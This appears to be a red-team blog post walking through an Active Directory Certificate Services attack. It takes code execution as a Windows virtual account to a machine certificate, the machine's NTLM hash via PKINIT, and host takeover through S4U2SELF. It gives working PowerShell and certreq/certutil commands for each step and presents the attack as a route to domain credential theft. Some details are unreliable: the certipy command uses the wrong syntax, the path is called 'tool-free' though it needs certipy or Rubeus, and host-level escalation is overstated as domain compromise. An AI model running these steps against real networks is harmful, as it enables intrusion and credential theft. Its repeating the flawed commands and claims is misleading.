Uncharted ADCS Virtual Account Attack: Hijack Domain Machines End‑to‑End

TL;DR

When you obtain code execution in the context of a Microsoft virtual/service account, you can request a machine certificate from ADCS without any additional privileges, export it, use PKINIT to recover the machine account's NTLM hash, and then leverage S4U2SELF to elevate privileges on the host.

What is a Virtual Account?

Virtual accounts are Windows‑provided service identities that do not require separate domain or local user objects. They are managed by the local Security Account Manager (SAM) and commonly appear as NT SERVICE\Network Service or IIS APPPOOL\DefaultAppPool. By default they hold SeImpersonatePrivilege, allowing them to impersonate other users.

When a virtual account accesses domain resources, it authenticates using the computer account ( DOMAIN\COMPUTER$) credentials, meaning any request for SMB shares, TGT/TGS tickets, or certificates is performed as the host machine.

Prerequisites

Remote code execution as a virtual account

ADCS (Active Directory Certificate Services) present in the target environment

A certificate template that permits domain‑computer enrollment and includes the Client Authentication EKU

Network connectivity to the CA server and the domain controller/KDC

Starting Point

The authors used PsExec to spawn a shell as NT SERVICE\Network Service after obtaining the MSSQL SA credentials. This virtual account context is the basis for the rest of the attack.

Creating the INF File

An INF file defines the certificate request parameters. The key settings are:

$infContent = @"
[NewRequest]
Subject = "CN=$env:COMPUTERNAME"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.2 ; Client Authentication
"@
$infContent | Out-File -FilePath "C:\Windows\Tasks\cert.inf"

Setting MachineKeySet = FALSE ensures the private key is not tied to the local computer account, allowing export without additional privileges.

Submitting the Request

Convert the INF to a certificate request and submit it to the CA using the built‑in certreq tool:

certreq -new "C:\Windows\Tasks\cert.inf" "C:\Windows\Tasks\cert.req"
certreq -submit -config "CA-SERVER\CA-NAME" -attrib "CertificateTemplate:Machine" "C:\Windows\Tasks\cert.req" "C:\Windows\Tasks\cert.cer"

Exporting the Certificate as PFX

After the CA issues the certificate, export it to a PFX file (protected with a password) so it can be used with PKINIT:

$thumb = (certreq -accept -user -f "C:\Windows\Tasks\cert.cer" 2>&1 | Out-String | Select-String -Pattern '[0-9A-Fa-f]{40}' -AllMatches).Matches[0].Value; 
certutil -user -exportPFX -p "pass" $thumb "C:\Windows\Tasks\cert.pfx"

Extracting the Machine NTLM Hash

Transfer the PFX to a workstation with certipy installed and run:

certipy auth /cert C:\Windows\Tasks\cert.pfx /password pass

This uses PKINIT to authenticate to the KDC with the certificate and returns the machine account's NTLM hash.

Privilege Escalation via S4U2SELF

With the NTLM hash, the attacker can invoke the Kerberos extension S4U2SELF to request a service ticket as any user (e.g., wscb02\Administrator) without needing to execute payloads on the host, achieving full domain‑level compromise.

No ADCS? Use TGTDeleg

If ADCS is unavailable, the same end goal can be reached by using the tgtdeleg technique in Rubeus. When a virtual account requests a TGT for delegation, the KDC issues a machine‑account TGT, which can then be leveraged with S4U2SELF in the same way.

Conclusion

The traditional “Potato” privilege‑escalation path is not the only—or even the preferred—method when a virtual account is present. abusing ADCS to obtain a machine certificate or using TGTDeleg + S4U2SELF provides a quieter, tool‑free route to full machine takeover and domain credential theft.